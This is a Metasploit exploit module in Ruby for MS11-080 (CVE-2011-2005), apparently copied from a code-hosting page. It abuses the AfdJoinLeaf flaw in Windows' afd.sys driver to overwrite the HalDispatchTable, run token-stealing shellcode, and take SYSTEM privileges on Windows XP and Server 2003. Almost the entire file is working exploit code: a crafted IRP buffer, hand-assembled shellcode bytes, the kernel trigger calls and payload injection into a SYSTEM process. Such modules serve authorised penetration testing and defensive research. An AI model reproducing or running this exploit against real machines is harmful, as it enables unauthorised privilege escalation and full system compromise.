222 lines
7.8 KiB
Ruby
222 lines
7.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/local/windows_kernel'
|
|
require 'rex'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = AverageRanking
|
|
# Average because this module relies on memory corruption within the
|
|
# kernel, this is inherently dangerous. Also if the payload casues
|
|
# the system process that it was injected into to die then it's also
|
|
# possible that the system may become unstable.
|
|
|
|
include Msf::Exploit::Local::WindowsKernel
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::Process
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info, {
|
|
'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation',
|
|
'Description' => %q(
|
|
This module exploits a flaw in the AfdJoinLeaf function of the
|
|
afd.sys driver to overwrite data in kernel space. An address
|
|
within the HalDispatchTable is overwritten and when triggered
|
|
with a call to NtQueryIntervalProfile will execute shellcode.
|
|
|
|
This module will elevate itself to SYSTEM, then inject the payload
|
|
into another SYSTEM process before restoring it's own token to
|
|
avoid causing system instability.
|
|
),
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Matteo Memelli', # original exploit and all the hard work
|
|
'Spencer McIntyre' # MSF module
|
|
],
|
|
'Arch' => [ARCH_X86],
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Targets' =>
|
|
[
|
|
['Automatic', {}],
|
|
['Windows XP SP2 / SP3',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x16bba,
|
|
'HalpSetSystemInformation' => 0x19436,
|
|
'_KPROCESS' => "\x44",
|
|
'_TOKEN' => "\xc8",
|
|
'_UPID' => "\x84",
|
|
'_APLINKS' => "\x88"
|
|
}
|
|
],
|
|
['Windows Server 2003 SP2',
|
|
{
|
|
'HaliQuerySystemInfo' => 0x1fa1e,
|
|
'HalpSetSystemInformation' => 0x21c60,
|
|
'_KPROCESS' => "\x38",
|
|
'_TOKEN' => "\xd8",
|
|
'_UPID' => "\x94",
|
|
'_APLINKS' => "\x98"
|
|
}
|
|
]
|
|
],
|
|
'References' =>
|
|
[
|
|
%w(CVE 2011-2005),
|
|
%w(OSVDB 76232),
|
|
%w(EDB 18176),
|
|
%w(MSB MS11-080),
|
|
%w(URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/)
|
|
],
|
|
'DisclosureDate' => 'Nov 30 2011',
|
|
'DefaultTarget' => 0
|
|
}))
|
|
end
|
|
|
|
# Function borrowed from smart_hashdump
|
|
def get_system_proc
|
|
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
|
local_sys = resolve_sid('S-1-5-18')
|
|
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
|
|
|
# Processes that can Blue Screen a host if migrated in to
|
|
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
|
|
session.sys.process.processes.each do |p|
|
|
# Check we are not migrating to a process that can BSOD the host
|
|
next if dangerous_processes.include?(p['name'])
|
|
next if p['pid'] == session.sys.process.getpid
|
|
next if p['pid'] == 4
|
|
next if p['user'] != system_account_name
|
|
return p
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
if sysinfo['Architecture'] =~ /wow64/i
|
|
print_error('Running against WOW64 is not supported')
|
|
return
|
|
elsif sysinfo['Architecture'] =~ /x64/
|
|
print_error('Running against 64-bit systems is not supported')
|
|
return
|
|
end
|
|
|
|
mytarget = target
|
|
if mytarget.name =~ /Automatic/
|
|
os = sysinfo['OS']
|
|
mytarget = targets[1] if os =~ /windows xp/i
|
|
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
|
|
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
|
mytarget = targets[2]
|
|
end
|
|
|
|
if mytarget.name =~ /Automatic/
|
|
print_error('Could not identify the target system, it may not be supported')
|
|
return
|
|
end
|
|
print_status("Running against #{mytarget.name}")
|
|
end
|
|
|
|
if is_system?
|
|
print_error('This meterpreter session is already running as SYSTE')
|
|
return
|
|
end
|
|
|
|
this_proc = session.sys.process.open
|
|
base_addr = 0x1001
|
|
|
|
result = session.railgun.ws2_32.WSASocketA('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP', nil, nil, 0)
|
|
socket = result['return']
|
|
|
|
irpstuff = rand_text_alpha(8)
|
|
irpstuff << "\x00\x00\x00\x00"
|
|
irpstuff << rand_text_alpha(4)
|
|
irpstuff << "\x01\x00\x00\x00"
|
|
irpstuff << "\xe8\x00\x34\xf0\x00"
|
|
irpstuff << rand_text_alpha(231)
|
|
|
|
unless this_proc.memory.writable?(0x1000)
|
|
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [base_addr].pack('V'), nil, [0x1000].pack('V'), 'MEM_COMMIT | MEM_RESERVE', 'PAGE_EXECUTE_READWRITE')
|
|
end
|
|
unless this_proc.memory.writable?(0x1000)
|
|
print_error('Failed to properly allocate memory')
|
|
return
|
|
end
|
|
this_proc.memory.write(0x1000, irpstuff)
|
|
|
|
haldispatchtable = find_haldispatchtable
|
|
return if haldispatchtable.nil?
|
|
|
|
halbase = find_sys_base('hal.dll')[0]
|
|
hal_iquerysysteminformation = halbase + mytarget['HaliQuerySystemInfo']
|
|
hal_psetsysteminformation = halbase + mytarget['HalpSetSystemInformation']
|
|
print_status("HaliQuerySystemInformation Address: 0x#{hal_iquerysysteminformation.to_s(16).rjust(8, '0')}")
|
|
print_status("HalpSetSystemInformation Address: 0x#{hal_psetsysteminformation.to_s(16).rjust(8, '0')}")
|
|
|
|
#### Exploitation ####
|
|
shellcode_address_dep = 0x0002071e
|
|
shellcode_address_nodep = 0x000207b8
|
|
padding = make_nops(2)
|
|
backup_token = 0x20900
|
|
|
|
restore_ptrs = "\x31\xc0"
|
|
restore_ptrs << "\xb8" + [hal_psetsysteminformation].pack('V')
|
|
restore_ptrs << "\xa3" + [haldispatchtable + 8].pack('V')
|
|
restore_ptrs << "\xb8" + [hal_iquerysysteminformation].pack('V')
|
|
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V')
|
|
|
|
restore_token = "\x52"
|
|
restore_token << "\x33\xc0"
|
|
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
|
|
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
|
|
restore_token << "\x8b\x15" + [backup_token].pack('V')
|
|
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
|
restore_token << "\x5a"
|
|
restore_token << "\xc2\x10"
|
|
|
|
shellcode = padding + restore_ptrs + token_stealing_shellcode(mytarget, backup_token)
|
|
|
|
this_proc.memory.write(shellcode_address_dep, shellcode)
|
|
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
|
this_proc.memory.protect(0x00020000)
|
|
|
|
addr = [2, 4455, 0x7f000001, 0, 0].pack('vvVVV')
|
|
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
|
|
if result['return'] != 0xffffffff
|
|
print_error('The socket is not in the correct state')
|
|
return
|
|
end
|
|
|
|
print_status('Triggering AFDJoinLeaf pointer overwrite...')
|
|
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
|
|
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
|
|
|
unless is_system?
|
|
print_error('Exploit failed')
|
|
return
|
|
end
|
|
|
|
proc = get_system_proc
|
|
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
|
|
unless execute_shellcode(payload.encoded, nil, proc['pid'])
|
|
print_error('An error occurred while executing the payload')
|
|
end
|
|
|
|
# Restore the token because apparently BSODs are frowned upon
|
|
print_status('Restoring the original token...')
|
|
shellcode = padding + restore_ptrs + restore_token
|
|
this_proc.memory.write(shellcode_address_dep, shellcode)
|
|
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
|
|
|
session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, haldispatchtable + 5, 0)
|
|
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
|
end
|
|
end
|